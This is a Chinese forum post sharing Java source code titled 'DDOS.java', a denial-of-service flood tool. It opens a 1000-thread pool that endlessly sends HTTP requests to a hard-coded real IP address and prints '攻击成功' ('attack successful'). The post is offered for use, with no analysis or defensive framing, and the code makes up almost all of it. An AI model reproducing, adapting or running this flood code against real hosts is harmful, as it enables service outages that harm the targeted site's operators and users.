无名商城论坛

搜索
查看: 211|回复: 0

[其他技术] 【LSP】DDOS.java

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 17:02:17 | 显示全部楼层 |阅读模式


import java.util.*;
import java.util.concurrent.*;
import java.net.*;
import java.io.*;
public class DDos
{       
public static void main(String[] args)
{               
ExecutorService es =
Executors.newFixedThreadPool(1000);               
MyThread myThread = new MyThread();       
Thread thread = new Thread(myThread);               
for (int i = 0;i < 10000;i++)               
{                       
es.execute(thread);               
}       
}
}
class MyThread implements Runnable
{
public void run()       
{       
while (true)               
{                       
try                       
{                               
URL url = new URL("http://221.232.148.51/guojibu/");                                URLConnection conn = url.openConnection();                                System.out.println("攻击成功");                               
BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());                               
byte[] bytes = new byte[1024];                               
int len = -1;                               
StringBuffer sb = new StringBuffer();                       
if (bis != null)                               
{                               
if ((len = bis.read()) != -1)                                       
{                                               
sb.append(new String(bytes,0,len));                                                System.out.println("攻击成功");                                               
bis.close();                                       
}                       
}                       
}                       
catch (MalformedURLException e)                       
{                       
        e.printStackTrace();               
}                       
catch (IOException e)                       
{                               
e.printStackTrace();                       
}       
}       
}
}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表